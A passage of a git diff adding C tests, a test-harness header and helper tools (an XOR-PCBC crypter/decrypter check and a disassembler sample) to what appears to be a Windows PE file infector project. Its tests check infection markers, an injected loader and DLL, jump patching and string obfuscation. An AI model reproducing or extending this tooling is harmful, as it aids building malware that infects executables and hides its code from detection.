+ OffsetToRva(&ppe, PtrToOffset(&ppe, pGetSegmentAdr(".data", TRUE, &ppe, NULL))) );
+
+ free(buf);
+ CloseHandle(hFile);
+
+ BYTE jmp[5];
+ patchRelJMP(jmp, 0x44332211);
+ ERRETCP( strncmp((char*)jmp, "\xE9\x11\x22\x33\x44", 5) == 0 );
+
+ char* test_dir = dirname(filename);
+ char* loader_file = NULL;
+ asprintf(&loader_file, "%s\\loader_base.exe", test_dir);
+ if (bOpenFile(loader_file, 0, &hFile) == TRUE) {
+ ERRETCP( bFileToBuf(hFile, &buf, &szBuf) == TRUE );
+ ERRETCP( bParsePE(buf, szBuf, &ppe, FALSE) == TRUE );
+ ERRETCP( ppe.valid == TRUE );
+ ERRETCP( ppe.hasDLL == TRUE );
+ ERRETCP( ppe.hasLdr == TRUE );
+ ERRETCP( bIsInfected(&ppe) == TRUE );
+ ERRETCP( ppe.ptrToDLL != NULL );
+ ERRETCP( ppe.ptrToLdr != NULL );
+ ERRETCP( bCheckEndMarker(&ppe) == TRUE );
+ ERRETCP( ppe.loader86 != NULL );
+ ERRETCP( ppe.loader86->ptrToDLL != 0 );
+ ERRETCP( ppe.loader86->sizOfDLL != 0 );
+ size_t ldrstrsiz = sizeof(ppe.loader86->strVirtualAlloc)/sizeof(ppe.loader86->strVirtualAlloc[0]);
+ ERRETCP( ppe.loader86->strVirtualAlloc[ldrstrsiz-1] == '\0' );
+ ERRETCP( ppe.loader86->strIsBadReadPtr[ldrstrsiz-1] == '\0' );
+ DWORD dwImpLibs = dwCountNonSystemImportLibs(&ppe);
+ ERRETCPDW( dwImpLibs == 0, dwImpLibs );
+ } else ERRPRINT_STDERR("Could not OpenFile: %s\n", loader_file);
+ free(loader_file);
+ return TRUE;
+}
diff --git a/source/tests/test_utils.c b/source/tests/test_utils.c
new file mode 100644
index 0000000..b83fccc
--- /dev/null
+++ b/source/tests/test_utils.c
@@ -0,0 +1,226 @@
+#include <unistd.h>
+#include <time.h>
+
+#include "tests.h"
+
+#include "utils.h"
+#include "crypt.h"
+#include "math.h"
+#include "xor_strings_gen.h"
+
+
+BOOL test_math(void)
+{
+ ERRETCP( __moddi3 (100, 50) == 0 );
+ ERRETCP( __moddi3 (10000, 11) != 0 );
+ ERRETCP( __umoddi3(10000, 11) != 0 );
+ ERRETCP( __divdi3 (100, 2) == 50);
+ ERRETCP( __divdi3 (1, 1) == 1 );
+ ERRETCP( __divdi3 (100, 3) == 33);
+ ERRETCP( __divdi3 (1000,9000) == 0 );
+ ERRETCP( __moddi3 (LONG_LONG_MAX, LONG_LONG_MAX) == 0 );
+ ERRETCP( __moddi3 (LONG_LONG_MIN, LONG_LONG_MIN) == 0 );
+ ERRETCP( __umoddi3 (LONG_LONG_MAX, LONG_LONG_MAX) == 0 );
+ ERRETCP( __umoddi3 (ULONG_LONG_MAX,ULONG_LONG_MAX) == 0 );
+ ERRETCP( __divdi3 (LONG_LONG_MAX,LONG_LONG_MAX ) == 1 );
+ ERRETCP( __divdi3 (LONG_LONG_MIN,LONG_LONG_MIN ) == 1 );
+ ERRETCP( __udivdi3 (LONG_LONG_MAX,LONG_LONG_MAX ) == 1 );
+ ERRETCP( __udivdi3 (ULONG_LONG_MAX,ULONG_LONG_MAX) == 1 );
+ ERRETCP( __pow(2,0) == 1 );
+ ERRETCP( __pow(2,1) == 2 );
+ ERRETCP( __pow(2,10) == 1024 );
+ return TRUE;
+}
+
+BOOL test_utils(void)
+{
+ char buf1[64], buf2[64], buf3[64];
+
+ memset(buf1, '\0', 64);
+ memset(buf2, '\0', 64);
+ memset(buf3, '\0', 64);
+
+ __xultoa(0, (char*)buf1, 10);
+ __xultoa(ULONG_MAX, (char*)buf2, 10);
+ __xultoa(LONG_MAX, (char*)buf3, 10);
+ ERRETCP( strcmp(buf1, "0") == 0 );
+ ERRETCP( strcmp(buf2, "4294967295") == 0 );
+ ERRETCP( strcmp(buf3, "2147483647") == 0 );
+ ERRETCP( strlen(buf1) == strlen("0") );
+ ERRETCP( strlen(buf2) == strlen("4294967295") );
+ ERRETCP( strlen(buf3) == strlen("2147483647") );
+
+ memset(buf1, '\0', 64);
+ memset(buf2, '\0', 64);
+ memset(buf3, '\0', 64);
+
+ __xltoa(LONG_MAX, (char*)buf1, 10);
+ __xltoa(LONG_MIN, (char*)buf2, 10);
+ __xltoa(0, (char*)buf3, 10);
+ ERRETCP( strcmp(buf1, "2147483647") == 0 );
+ ERRETCP( strcmp(buf2, "-2147483648") == 0 );
+ ERRETCP( strcmp(buf3, "0") == 0 );
+ ERRETCP( strlen(buf1) == strlen("2147483647") );
+ ERRETCP( strlen(buf2) == strlen("-2147483648") );
+ ERRETCP( strlen(buf3) == strlen("0") );
+
+ char* buf4 = "AA1122334455667788990";
+ SIZE_T siz = 0;
+ char* result = __xbintostr((BYTE*)buf4, strlen(buf4), 2, &siz);
+ ERRETCP( siz == strlen("4141 3131 3232 3333 3434 3535 3636 3737 3838 3939 30") );
+ ERRETCP( strcmp(result, "4141 3131 3232 3333 3434 3535 3636 3737 3838 3939 30") == 0 );
+ __xfree(result);
+
+ BYTE* buf5 = COMPAT(calloc)(256, sizeof(char));
+ for (int i = 0; i < 256; ++i)
+ buf5[i] = i;
+ result = __xbintostr(buf5, 256, 0, NULL);
+ ERRETCP( strlen(result) == 256*2 );
+ ERRETCP( strcmp(result, "000102030405060708090A0B0C0D0E0F101112131415161718191A1B1C1D1E1F" \
+ "202122232425262728292A2B2C2D2E2F303132333435363738393A3B3C3D3E3F" \
+ "404142434445464748494A4B4C4D4E4F505152535455565758595A5B5C5D5E5F" \
+ "606162636465666768696A6B6C6D6E6F707172737475767778797A7B7C7D7E7F" \
+ "808182838485868788898A8B8C8D8E8F909192939495969798999A9B9C9D9E9F" \
+ "A0A1A2A3A4A5A6A7A8A9AAABACADAEAFB0B1B2B3B4B5B6B7B8B9BABBBCBDBEBF" \
+ "C0C1C2C3C4C5C6C7C8C9CACBCCCDCECFD0D1D2D3D4D5D6D7D8D9DADBDCDDDEDF" \
+ "E0E1E2E3E4E5E6E7E8E9EAEBECEDEEEFF0F1F2F3F4F5F6F7F8F9FAFBFCFDFEFF") == 0 );
+ __xfree(result);
+
+
+ char* buf6 = strdup("This is a TOP SECRET message!");
+ char* buf7 = strdup(buf6);
+ unsigned int key = 0;
+
+ while(key == 0) key = xor32_randomkey();
+
+ xor32_byte_crypt((unsigned char*)buf7, strlen(buf6), key);
+ ERRETCP( strcmp(buf6, buf7) != 0 )
+
+ xor32_byte_crypt((unsigned char*)buf7, strlen(buf6), key);
+ ERRETCP( strlen(buf6) == strlen(buf7) );
+ ERRETCP( strcmp(buf6, buf7) == 0 );
+ free(buf7);
+
+ char buf9[COMPAT(strlen)(buf6)+1];
+ char buf10[COMPAT(strlen)(buf6)+1];
+
+ COMPAT(memcpy)(&buf9[0], buf6, strlen(buf6));
+ buf9[COMPAT(strlen)(buf6)] = '\0';
+ xor32_byte_crypt((unsigned char*)&buf9[0], COMPAT(strlen)(buf6), key);
+
+ memcpy(&buf10[0], &buf9[0], COMPAT(strlen)(buf6));
+ buf10[COMPAT(strlen)(buf6)] = '\0';
+ xor32_byte_crypt((unsigned char*)&buf10[0], COMPAT(strlen)(buf6), key);
+
+ ERRETCP( strlen(buf6) == strlen(buf10) );
+ ERRETCP( strcmp(buf6, buf9) != 0 );
+ ERRETCP( strcmp(buf6, buf10) == 0 );
+ free(buf6);
+
+ buf6 = strdup("We want to search a _substring_ in this _string_ !!");
+ ERRETCP( COMPAT(strnstr)(buf6, "_substring_", strlen(buf6)) != NULL );
+ ERRETCP( COMPAT(strnstr)(buf6, "_string_ !!", strlen(buf6)) != NULL );
+ ERRETCP( COMPAT(strnstr)(buf6, "_noonexistant_", strlen(buf6)) == NULL );
+ free(buf6);
+
+ buf6 = test_randstring(65535);
+ ERRETCP( COMPAT(strnstr)(buf6, "this string should not be found or you got bad luck", strlen(buf6)) == NULL );
+ COMPAT(free)(buf6);
+
+ buf6 = strdup("We test if _SubString_ works with strnistr(...)");
+ ERRETCP( COMPAT(strnistr)(buf6, "_substring_", strlen(buf6)) != NULL );
+ ERRETCP( COMPAT(strnistr)(buf6, "_sUBsTrinG_", strlen(buf6)) != NULL );
+ ERRETCP( COMPAT(strnistr)(buf6, "_NOTsubstring_", strlen(buf6)) == NULL );
+ ERRETCP( COMPAT(strnistr)(buf6, "STRNISTR(...)", strlen(buf6)) != NULL );
+ ERRETCP( COMPAT(strnistr)(buf6, "STRNISTR(...)!", strlen(buf6)) == NULL );
+ free(buf6);
+
+ buf6 = test_randstring(65535);
+ buf7 = test_randstring(4096);
+ ERRETCP( COMPAT(strnistr)(buf6, buf7, strlen(buf6)) == NULL );
+ ERRETCP( COMPAT(strnstr)(buf6, buf7, strlen(buf6)) == NULL );
+ COMPAT(free)(buf6);
+ COMPAT(free)(buf7);
+
+ char* garbage = __genGarbageFormatStr(512);
+ ERRETCP( garbage != NULL );
+ ERRETCP( strlen(garbage) > 500 );
+ COMPAT(free)(garbage);
+
+ struct LogicalDrives devs[32];
+ DWORD devnum = dwEnumDrives(&devs[0], sizeof(devs)/sizeof(devs[0]));
+ for (DWORD i = 0; i < devnum; ++i) {
+ ERRETCPDW( devs[i].devType > 0, devs[i].devType );
+ size_t len = strnlen(devs[i].name, MAX_PATH);
+ ERRETCP( len > 0 && len <= MAX_PATH );
+ if (devs[i].devType == 2 || devs[i].devType == 3) /* DRIVE_REMOVABLE || DRIVE_FIXED */
+ {
+ ERRETCP( devs[i].bytesPerSectorsPerCluster > 0 );
+ ERRETCP( devs[i].totalClusters > 0 );
+ }
+ }
+
+/*
+ // TODO: __pseudoRandom needs an update (not "Random" at all)
+ const unsigned max_rnd = 256;
+ const unsigned rnd_siz = 128;
+ unsigned char rnd[max_rnd][rnd_siz];
+ memset(&rnd[0][0], 0, sizeof(rnd));
+ for (unsigned i = 0; i < max_rnd; ++i) {
+ __pseudoRandom(rnd[i], rnd_siz);
+ }
+ for (unsigned i = 0; i < max_rnd; ++i) {
+ for (unsigned j = 0; j < max_rnd; ++j) {
+ if (i == j)
+ continue;
+ ERRETCP( memcmp(&rnd[i][0], &rnd[j][0], rnd_siz) != 0 );
+ }
+ }
+*/
+
+ char tok_str[] = "This is a sentence seperated with whitespaces without punctuation";
+ const unsigned tok_nmb = 9;
+ char* tok_next = tok_str;
+ char* tok_cur = NULL;
+ unsigned tok_n = 0;
+ while ((tok_cur = qtok(tok_next, &tok_next)) != NULL && *tok_cur) {
+ tok_n++;
+ }
+ ERRETCP( tok_n == tok_nmb );
+
+ char* str_numbers[] = { "32", "64", "128", "256", "512", "-1", "2700000", "-2700000", "1024e" };
+ for (unsigned i = 0; i < sizeof(str_numbers)/sizeof(str_numbers[0]); ++i) {
+ char* saveptr = NULL;
+ long nmb = COMPAT(strtol)(str_numbers[i], &saveptr, 10);
+ ERRETCPDW( nmb != 0, nmb );
+ long rnmb = strtol(str_numbers[i], &saveptr, 10);
+ ERRETCPDW( nmb == rnmb, rnmb );
+ }
+ char* str_not_numbers[] = { "abcdef", "abc1024", "a32b32", "a string" };
+ for (unsigned i = 0; i < sizeof(str_not_numbers)/sizeof(str_not_numbers[0]); ++i) {
+ char* saveptr = NULL;
+ long nmb = COMPAT(strtol)(str_not_numbers[i], &saveptr, 10);
+ ERRETCPDW( nmb == 0, nmb );
+ long rnmb = strtol(str_not_numbers[i], &saveptr, 10);
+ ERRETCPDW( nmb == rnmb, rnmb );
+ }
+ const unsigned max_hex = 64;
+ for (unsigned i = 0; i < max_hex; ++i) {
+ char* tmp_hex = test_randhexstring(6);
+ long nmb = COMPAT(strtol)(tmp_hex, NULL, 16);
+ long rnmb = strtol(tmp_hex, NULL, 16);
+ ERRETCPDW( nmb == rnmb, rnmb );
+ COMPAT(free)(tmp_hex);
+ }
+
+#if defined(i386) || defined(i686)
+ atomic_val aval = 0;
+ ERRETCPDW( aval == 0, aval );
+ atomic_inc(&aval);
+ ERRETCPDW( aval == 1, aval );
+ atomic_val retval = atomic_xchg(&aval, 2);
+ ERRETCPDW( aval == 2, aval );
+ ERRETCPDW( retval == 1, retval );
+#endif
+ return TRUE;
+}
diff --git a/source/tests/tests.h b/source/tests/tests.h
new file mode 100644
index 0000000..84135d8
--- /dev/null
+++ b/source/tests/tests.h
@@ -0,0 +1,128 @@
+#ifndef TESTS_H_INCLUDED
+#define TESTS_H_INCLUDED
+
+#ifndef _RUN_TESTS
+#error "_RUN_TESTS has to be defined"
+#endif
+#include "compat.h"
+
+#include <stdio.h>
+#include <libgen.h>
+
+
+#define MYASSERT_LOGFILE logfile
+extern FILE* MYASSERT_LOGFILE;
+
+extern unsigned test_count;
+extern unsigned test_faild;
+
+#define ERRPRINT(file, fmt, ...) { \
+ char* __erret_str = strdup(__FILE__); \
+ if (__erret_str != NULL) { \
+ char* __erret_base = basename(__erret_str); \
+ fprintf(file, "%s.%d: " fmt "\n", (__erret_base != NULL ? __erret_base : "NULL"), __LINE__, ##__VA_ARGS__); \
+ free(__erret_str); \
+ } \
+ }
+#define ERRPRINT_STDERR(fmt, ...) \
+ ERRPRINT(stderr, fmt, __VA_ARGS__)
+#define ERRPRINT_LOGFILE(fmt, ...) \
+ if (MYASSERT_LOGFILE != NULL) { ERRPRINT(MYASSERT_LOGFILE, fmt, __VA_ARGS__); fflush(MYASSERT_LOGFILE); }
+#define ERRPRINT_BOTH(fmt, ...) \
+ ERRPRINT(stderr, fmt, __VA_ARGS__) \
+ ERRPRINT_LOGFILE(fmt, __VA_ARGS__)
+
+#define MYASSERT_RETVAL retval
+#define MYASSERT_RETVAL_DEF int MYASSERT_RETVAL = 0;
+#define MYASSERT_LOG "tests.log"
+#define MYASSERT_LOGDEF FILE* MYASSERT_LOGFILE = NULL
+#define MYASSERT_INIT \
+ MYASSERT_RETVAL_DEF; \
+ if ((MYASSERT_LOGFILE = fopen(MYASSERT_LOG, "w")) == NULL) { \
+ ERRPRINT_BOTH("Could not open \"%s\" for writing.\n", MYASSERT_LOG); \
+ } else ERRPRINT_BOTH("Logfile-Init: %s", MYASSERT_LOG);
+
+#define MYASSERT_RETURN \
+ fclose(MYASSERT_LOGFILE); \
+ return MYASSERT_RETVAL;
+
+#define MYASSERT(expr) { \
+ ERRPRINT_LOGFILE("MYASSERT: %s", #expr); \
+ if ((expr) != TRUE) { \
+ fprintf_setw(stderr, 50, "%s", #expr); \
+ ERRPRINT_BOTH("FAILED with ERROR: %d", (int)GetLastError()); \
+ MYASSERT_RETVAL++; \
+ } else { \
+ fprintf_setw(stderr, 50, "%s", #expr); \
+ fprintf(stderr, "%s\n", "SUCCEEDED"); \
+ } \
+ }
+
+#define MYASSERT_SILENT(expr) { \
+ ERRPRINT_LOGFILE("MYASSERT_SILENT: %s", #expr); \
+ int outfd = dup(fileno(stdout)); \
+ int stdfd = fileno(stdout); \
+ close(stdfd); \
+ dup2(null_dev, stdfd); \
+ BOOL ret = (expr); \
+ close(stdfd); \
+ dup2(outfd, stdfd); \
+ close(outfd); \
+ if (ret != TRUE) { \
+ fprintf_setw(stderr, 50, "%s", #expr); \
+ ERRPRINT_BOTH("FAILED with ERROR: %d", (int)GetLastError()); \
+ } else { \
+ fprintf_setw(stderr, 50, "%s", #expr); \
+ fprintf(stderr, "%s\n", "SUCCEEDED"); \
+ } \
+ }
+
+
+#define _ERRETCP(expr) { test_count++; if ( (expr) != TRUE ) { test_faild++; ERRPRINT_BOTH("(%s) != TRUE", #expr); return FALSE; } }
+#define ERRETCP(expr) { ERRPRINT_LOGFILE("ERRETCP: %s", #expr); _ERRETCP(expr); }
+#define ERRETCP_NOLOG(expr) { _ERRETCP(expr); }
+
+#define _ERRETCPDW(expr, val) { test_count++; if ( (expr) != TRUE ) { test_faild++; ERRPRINT_BOTH("(%s) != TRUE , %s = %lu (0x%lX)", #expr, #val, (unsigned long)val, (unsigned long)val); return FALSE; } }
+#define ERRETCPDW(expr, val) { ERRPRINT_LOGFILE("ERRETCPDW: %s , %s = %lu (0x%lX) (", #expr, #val, (unsigned long)val, (unsigned long)val); _ERRETCPDW(expr, val); }
+#define ERRETCPDW_NOLOG(expr, val) { _ERRETCPDW(expr, val); }
+
+#define _ERRETCPLD(expr, val) { test_count++; if ( (expr) != TRUE ) { test_faild++; ERRPRINT_BOTH("(%s) != TRUE , %s = %ld (0x%lX)", #expr, #val, (long)val, (unsigned long)val); return FALSE; } }
+#define ERRETCPLD(expr, val) { ERRPRINT_LOGFILE("ERRETCPL: %s , %s = %ld (0x%lX) (", #expr, #val, (long)val, (unsigned long)val); _ERRETCPDW(expr, val); }
+#define ERRETCPLD_NOLOG(expr, val) { _ERRETCPDW(expr, val); }
+
+
+extern int null_dev;
+
+char* test_randstring(size_t length);
+
+char* test_randhexstring(size_t length);
+
+int fprintf_setw(FILE *stream, size_t s_maxlen, const char *format, ...);
+
+BOOL test_memmove(void);
+
+BOOL test_realloc(void);
+
+BOOL test_memalign(void);
+
+BOOL test_heap(void);
+
+BOOL test_mem(void);
+
+BOOL test_stdio(void);
+
+BOOL test_math(void);
+
+BOOL test_utils(void);
+
+BOOL test_distorm(void);
+
+BOOL test_aes(void);
+
+BOOL test_crypt(void);
+
+BOOL test_pe(char* filename);
+
+BOOL test_http(void);
+
+#endif // TESTS_H_INCLUDED
diff --git a/source/tools/decrypter.c b/source/tools/decrypter.c
new file mode 100644
index 0000000..fcdbb72
--- /dev/null
+++ b/source/tools/decrypter.c
@@ -0,0 +1,116 @@
+#include <stdio.h>
+#include <stdlib.h>
+#include <stdint.h>
+#ifdef __MINGW32__
+#include <windows.h>
+#else
+#define __cdecl
+#include <string.h>
+#endif
+
+#ifndef i386
+#error "decrypter does work with 32 bit compilation mode only at the moment"
+#endif
+
+#include "crypt.h"
+#include "helper.h"
+
+
+/* see source/decrypter_x86.asm */
+__cdecl int decrypt_data(uint32_t* buf, uint32_t siz, uint32_t* iv, uint32_t* key, uint32_t ivkeysiz) __asm__("__decrypt_x86");
+
+
+int main(int argc, char** argv)
+{
+ bool verbose = false;
+
+ if (argc != 2) {
+ fprintf(stderr, "usage: %s [TESTFILE]\n", argv[0]);
+ return -1;
+ }
+
+ if (getenv("VERBOSE") != NULL) {
+ if (strcmp(getenv("VERBOSE"), "1") == 0) {
+ verbose = true;
+ } else {
+ fprintf(stderr, "%s: quiet mode, activate verbose mode with `export VERBOSE=1`\n", argv[0]);
+ }
+ }
+
+ /* decrypter test */
+ printf("Decrypter........: 0x%p\n", decrypt_data);
+
+ size_t bufsiz = 0;
+ char* buf = mapfile(argv[1], &bufsiz);
+ if (!buf) {
+ return 1;
+ }
+ printf("buffer size......: 0x%p (%lu)\n", (void*)bufsiz, (long unsigned int)bufsiz);
+
+ uint32_t iv[] = { xor32_randomkey(), xor32_randomkey(), xor32_randomkey(), xor32_randomkey(), xor32_randomkey() };
+ uint32_t key[] = { xor32_randomkey(), xor32_randomkey(), xor32_randomkey(), xor32_randomkey(), xor32_randomkey() };
+ size_t ivkeysiz = sizeof(iv)/sizeof(uint32_t);
+
+ printf("\n---------- Crypter ----------\n");
+ printf("plain buffer adr.: 0x%p\n", buf);
+ printf("iv adr...........: 0x%p\n", &iv[0]);
+ printf("key adr..........: 0x%p\n", &key[0]);
+ if (verbose) {
+ char* bufdata = bintostr(buf, bufsiz, 1, NULL);
+ printf("buffer...........: %s\n", bufdata);
+ free(bufdata);
+ }
+ char* ivdata = bintostr((char*)&iv[0] , sizeof(iv), 1, NULL);
+ char* keydata = bintostr((char*)&key[0], sizeof(key), 1, NULL);
+ printf("iv...............: %s\n", ivdata);
+ printf("key..............: %s\n", keydata);
+
+ uint32_t* xorbuf = calloc( (bufsiz/sizeof(uint32_t)) + ivkeysiz, sizeof(uint32_t));
+ memcpy((void*)xorbuf, buf, bufsiz);
+ uint32_t xorsiz = xor32n_pcbc_crypt_buf(xorbuf, bufsiz, &iv[0], &key[0], ivkeysiz);
+ printf("encryoted buf adr: 0x%p\n", xorbuf);
+ printf("encrypted size...: 0x%p (%lu)\n", (void*)xorsiz, (long unsigned int)xorsiz);
+
+ char* plainbuf = calloc(xorsiz, sizeof(char));
+ memcpy((void*)plainbuf, (void*)xorbuf, xorsiz);
+ xor32n_pcbc_crypt_buf((uint32_t*)plainbuf, xorsiz, &iv[0], &key[0], ivkeysiz);
+
+ if (verbose) {
+ printf("xor32n_pcbc......: ");
+ char* xordata = bintostr((char*)xorbuf, xorsiz, 1, NULL);
+ printf("%s\n", xordata);
+ free(xordata);
+
+ printf("plaintext........: ");
+ char* plaindata = bintostr((char*)plainbuf, bufsiz, 1, NULL);
+ printf("%s\n", plaindata);
+ free(plaindata);
+ }
+
+ int retval = decrypt_data(xorbuf, xorsiz, &iv[0], &key[0], ivkeysiz);
+ printf("\n--------- Decrypter ---------\n");
+ printf("retval...........: 0x%p (%d)\n", (void*)retval, retval);
+ if (verbose) {
+ printf("decrypted........: ");
+ char* decpdata = bintostr((char*)xorbuf, bufsiz, 1, NULL);
+ printf("%s\n", decpdata);
+ free(decpdata);
+ }
+
+ if (memcmp(plainbuf, buf, bufsiz) != 0) {
+ fprintf(stderr, "%s: c decrypter failed to decrypt data correctly\n", argv[0]);
+ return 1;
+ }
+ if (memcmp(xorbuf, plainbuf, xorsiz) != 0) {
+ fprintf(stderr, "%s: asm decrypter failed to decrypt data correctly\n", argv[0]);
+ return 1;
+ }
+ fprintf(stderr, "\n%s: success\n", argv[0]);
+
+ free(plainbuf);
+ free(xorbuf);
+ free(keydata);
+ free(ivdata);
+
+ return 0;
+}
diff --git a/source/tools/disasm.c b/source/tools/disasm.c
new file mode 100644
index 0000000..9e5489d
--- /dev/null
+++ b/source/tools/disasm.c
@@ -0,0 +1,234 @@
+// diStorm64 library sample
+// http://ragestorm.net/distorm/
+// Arkon, Stefan, 2005
+// Mikhail, 2006
+// JvW, 2007
+
+#include <stdio.h>
+#include <stdlib.h>
+#include <unistd.h>
+#include <string.h>
+#include <inttypes.h>
+#include <time.h>
+#include <errno.h>
+#include <sys/stat.h>
+
+// For the compilers who don't have sysexits.h, which is not an ISO/ANSI include!
+#define EX_OK 0
+#define EX_USAGE 64
+#define EX_DATAERR 65
+#define EX_NOINPUT 66
+#define EX_NOUSER 67
+#define EX_NOHOST 68
+#define EX_UNAVAILABLE 69
+#define EX_SOFTWARE 70
+#define EX_OSERR 71
+#define EX_OSFILE 72
+#define EX_CANTCREAT 73
+#define EX_IOERR 74
+#define EX_TEMPFAIL 75
+#define EX_PROTOCOL 76
+#define EX_NOPERM 77
+#define EX_CONFIG 78
+
+#include "distorm/distorm.h"
+#include "distorm/mnemonics.h"
+#include "disasm.h"
+
+// The number of the array of instructions the decoder function will use to return the disassembled instructions.
+// Play with this value for performance...
+#define MAX_INSTRUCTIONS (1000)
+
+
+int main(int argc, char **argv)
+{
+ // Holds the result of the decoding.
+ _DecodeResult res;
+ // next is used for instruction's offset synchronization.
+ // decodedInstructionsCount holds the count of filled instructions' array by the decoder.
+ unsigned int decodedInstructionsCount = 0, i, next;
+
+ // Default decoding mode is 32 bits, could be set by command line.
+ _DecodeType dt = Decode32Bits;
+
+ // Default offset for buffer is 0, could be set in command line.
+ _OffsetType offset = 0;
+ char* errch = NULL;
+
+ // Handling file.
+ FILE* f;
+ unsigned long filesize = 0, bytesread = 0;
+ unsigned long long bytesproc = 0, maxbytesproc = (unsigned long long)-1;
+ struct stat st;
+
+ // Buffer to disassemble.
+ unsigned char *buf, *buf2;
+
+ int opt, show_usage_and_die = 0, use_internal_decode = 0;
+ char *filename = NULL;
+ while ((opt = getopt(argc, argv, "b:f:m:ip:")) != -1) {
+ switch (opt) {
+ case 'b':
+ if (strncmp(optarg, "16", 2) == 0) {
+ dt = Decode16Bits;
+ } else if (strncmp(optarg, "32", 2) == 0) {
+ dt = Decode32Bits;
+ } else if (strncmp(optarg, "64", 2) == 0) {
+ dt = Decode64Bits;
+ } else {
+ show_usage_and_die = 1;
+ }
+ break;
+ case 'f':
+ filename = strdup(optarg);
+ break;
+ case 'm':
+#ifdef SUPPORT_64BIT_OFFSET
+ offset = strtoull(optarg, &errch, 16);
+#else
+ offset = strtoul(optarg, &errch, 16);
+#endif
+ break;
+ case 'i':
+ use_internal_decode = 1;
+ break;
+ case 'p':
+ maxbytesproc = strtoull(optarg, &errch, 16);
+ break;
+ }
+ }
+
+ // Check params.
+ if (show_usage_and_die || !filename) {
+ printf("Usage: %s -i -b[16|32|64] -f[filename] -m[memory offset] -p[memory size]\r\n\tRaw disassembler output.\r\n\tMemory offset is origin of binary file in memory (address in hex).\r\n\tDefault decoding mode is -b32.\r\n\texample: %s -b16 demo.com 789a\r\n\tUse internal decoding with -i\r\n", argv[0], argv[0]);
+ return EX_USAGE;
+ }
+
+ f = fopen(filename, "rb");
+ if (f == NULL) {
+ perror("fopen");
+ return EX_NOINPUT;
+ }
+
+ if (fstat(fileno(f), &st) != 0) {
+ perror("fstat");
+ fclose(f);
+ return EX_NOINPUT;
+ }
+ filesize = st.st_size;
+
+ // We read the whole file into memory in order to make life easier,
+ // otherwise we would have to synchronize the code buffer as well (so instructions won't be split).
+ buf2 = buf = malloc(filesize);
+ if (buf == NULL) {
+ perror("File too large.");
+ fclose(f);
+ return EX_UNAVAILABLE;
+ }
+ bytesread = fread(buf, 1, filesize, f);
+ if (bytesread != filesize) {
+ perror("Can't read file into memory.");
+ free(buf);
+ fclose(f);
+ return EX_IOERR;
+ }
+
+ fclose(f);
+
+ buf += offset;
+ filesize -= offset;
+
+ printf("bits: %d\nfilename:%s\norigin: ", dt == Decode16Bits ? 16 : dt == Decode32Bits ? 32 : 64, filename);
+#ifdef SUPPORT_64BIT_OFFSET
+ if (dt != Decode64Bits) printf("%" PRIx64 "\n", offset);
+ else printf("%" PRIx64 "\n", offset);
+#else
+ printf("%08x\n", offset);
+#endif
+ printf("size: %" PRIx64 "\n", maxbytesproc);
+
+ if (use_internal_decode) {
+ _DInst instData[MAX_INSTRUCTIONS];
+ while (1) {
+ res = disasm(offset, (const unsigned char*)buf, filesize, dt, instData, MAX_INSTRUCTIONS, &decodedInstructionsCount);
+ for (i = 0; i < decodedInstructionsCount; i++) {
+#ifdef SUPPORT_64BIT_OFFSET
+ printf("%" PRIx64 " (%" PRIu32 ") %04" PRIx16, (uint64_t)instData[i].addr, instData[i].size, instData[i].opcode);
+#else
+ printf("%08x (%02d) %04" PRIx16, instData[i].addr, instData[i].size, instData[i].opcode);
+#endif
+ _InstructionType optype = instData[i].opcode;
+ switch (optype) {
+ case I_DEC: printf("\tDEC"); break;
+ case I_INC: printf("\tINC"); break;
+ case I_ADD: printf("\tADD"); break;
+ case I_SUB: printf("\tSUB"); break;
+ case I_MOV: printf("\tMOV"); break;
+ case I_PUSH: printf("\tPUSH"); break;
+ case I_POP: printf("\tPOP"); break;
+ case I_NOP: printf("\tNOP"); break;
+ case I_JMP: printf("\tJMP"); break;
+ case I_JMP_FAR: printf("\tJMP FAR"); break;
+ case I_CALL: printf("\tCALL"); break;
+ case I_CALL_FAR: printf("\tCALL FAR"); break;
+ case I_RET: printf("\tRET"); break;
+ }
+ printf("\r\n");
+ bytesproc += instData[i].size;
+ if (bytesproc >= maxbytesproc) break;
+ }
+
+ if (res == DECRES_SUCCESS) break;
+ else if (decodedInstructionsCount == 0) break;
+ if (bytesproc >= maxbytesproc) break;
+ next = (unsigned int)(instData[decodedInstructionsCount-1].addr - offset);
+ next += instData[decodedInstructionsCount-1].size;
+ buf += next;
+ filesize -= next;
+ offset += next;
+ }
+ } else {
+ // Decoded instruction information.
+ _DecodedInst decodedInstructions[MAX_INSTRUCTIONS];
+ // Decode the buffer at given offset (virtual address).
+ while (1) {
+ // If you get an undefined reference linker error for the following line,
+ // change the SUPPORT_64BIT_OFFSET in distorm.h.
+ res = distorm_decode(offset, (const unsigned char*)buf, filesize, dt, decodedInstructions, MAX_INSTRUCTIONS, &decodedInstructionsCount);
+ if (res == DECRES_INPUTERR) {
+ // Null buffer? Decode type not 16/32/64?
+ fputs("Input error, halting!\n", stderr);
+ free(buf2);
+ return EX_SOFTWARE;
+ }
+
+ for (i = 0; i < decodedInstructionsCount; i++) {
+#ifdef SUPPORT_64BIT_OFFSET
+ printf("%" PRIx64 " (%" PRIu64 ") %-24s %s%s%s\r\n", decodedInstructions[i].offset, (long long unsigned int)decodedInstructions[i].size, (char*)decodedInstructions[i].instructionHex.p, (char*)decodedInstructions[i].mnemonic.p, decodedInstructions[i].operands.length != 0 ? " " : "", (char*)decodedInstructions[i].operands.p);
+#else
+ printf("%08x (%02d) %-24s %s%s%s\r\n", decodedInstructions[i].offset, decodedInstructions[i].size, (char*)decodedInstructions[i].instructionHex.p, (char*)decodedInstructions[i].mnemonic.p, decodedInstructions[i].operands.length != 0 ? " " : "", (char*)decodedInstructions[i].operands.p);
+#endif
+ bytesproc += decodedInstructions[i].size;
+ if (bytesproc >= maxbytesproc) break;
+ }
+
+ if (res == DECRES_SUCCESS) break; // All instructions were decoded.
+ else if (decodedInstructionsCount == 0) break;
+ if (bytesproc >= maxbytesproc) break;
+
+ // Synchronize:
+ next = (unsigned int)(decodedInstructions[decodedInstructionsCount-1].offset - offset);
+ next += decodedInstructions[decodedInstructionsCount-1].size;
+ // Advance ptr and recalc offset.
+ buf += next;
+ filesize -= next;
+ offset += next;
+ }
+ }
+
+ free(filename);
+ // Release buffer
+ free(buf2);
+
+ return EX_OK;
+}
diff --git a/source/tools/dummy.c b/source/tools/dummy.c
new file mode 100644
index 0000000..d7623da
--- /dev/null
+++ b/source/tools/dummy.c
@@ -0,0 +1,34 @@
+#include <windows.h>
+
+#include <stdio.h>
+#include <stdlib.h>
+#include <unistd.h>
+
+
